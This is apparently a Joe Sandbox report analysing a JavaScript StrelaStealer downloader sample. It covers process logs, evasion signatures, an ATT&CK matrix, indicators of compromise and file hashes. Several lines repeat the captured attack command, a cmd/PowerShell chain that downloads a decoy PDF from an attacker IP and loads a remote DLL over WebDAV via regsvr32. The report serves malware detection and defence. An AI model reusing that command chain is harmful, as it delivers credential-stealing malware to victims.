Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5393			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6140	Thread sleep count: 5393 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6624	Thread sleep count: 4477 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 512	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6388	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2968	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8220	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1354162356.0000025988328000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.1354162356.0000025988389000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2570650771.00000150FCC55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2570617873.00000150FCC43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1286649832.000002025700D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\G
Source: svchost.exe, 00000009.00000002.2569809830.00000150FB62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1775148551349412785.js	7%	Virustotal		Browse
1775148551349412785.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/q	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/e	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/=	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/scex	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1286411652.0000020256FF4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2570583013.00000150FCC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/e	net.exe, 00000007.00000002.1354162356.000002598835D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/scex	net.exe, 00000007.00000002.1354162356.0000025988328000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1354162356.000002598835D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1354162356.000002598837C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1354162356.0000025988328000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/q	net.exe, 00000007.00000002.1354162356.000002598835D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/L	net.exe, 00000007.00000002.1354162356.0000025988328000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/=	net.exe, 00000007.00000002.1354162356.000002598835D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1346744452.00000150FCE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588921
Start date and time:	2025-01-11 07:12:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1775148551349412785.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/63@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.219.161.132, 192.168.2.10, 13.107.246.45, 18.213.11.84, 4.175.87.197, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:12:58	API Interceptor	26x Sleep call for process: powershell.exe modified
01:13:02	API Interceptor	1x Sleep call for process: net.exe modified
01:13:02	API Interceptor	2x Sleep call for process: svchost.exe modified
01:13:11	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	959032706323392160.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807357087323909
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9b:0J7adfWuK0p/QDfKoPeuP0aN4fqoxM
MD5:	37ADCD7FDAE538BB6A5B9FDACC425A83
SHA1:	570CEFE26A4077E1782053799E0899B160E826CF
SHA-256:	3A48B56C7D1312AD4A79652E033B60CB3688F3F4A7463FB7E7850FC1686E4C1E
SHA-512:	8CFE9BCE2A89BA9466D44D3F79E9055FFAAC311B626D020A9E82F4DFE9A99AA3453ED27A690B82A55213CCFC95620E1ED9F017667F6EC47C6A15CF1324948974
Malicious:	false
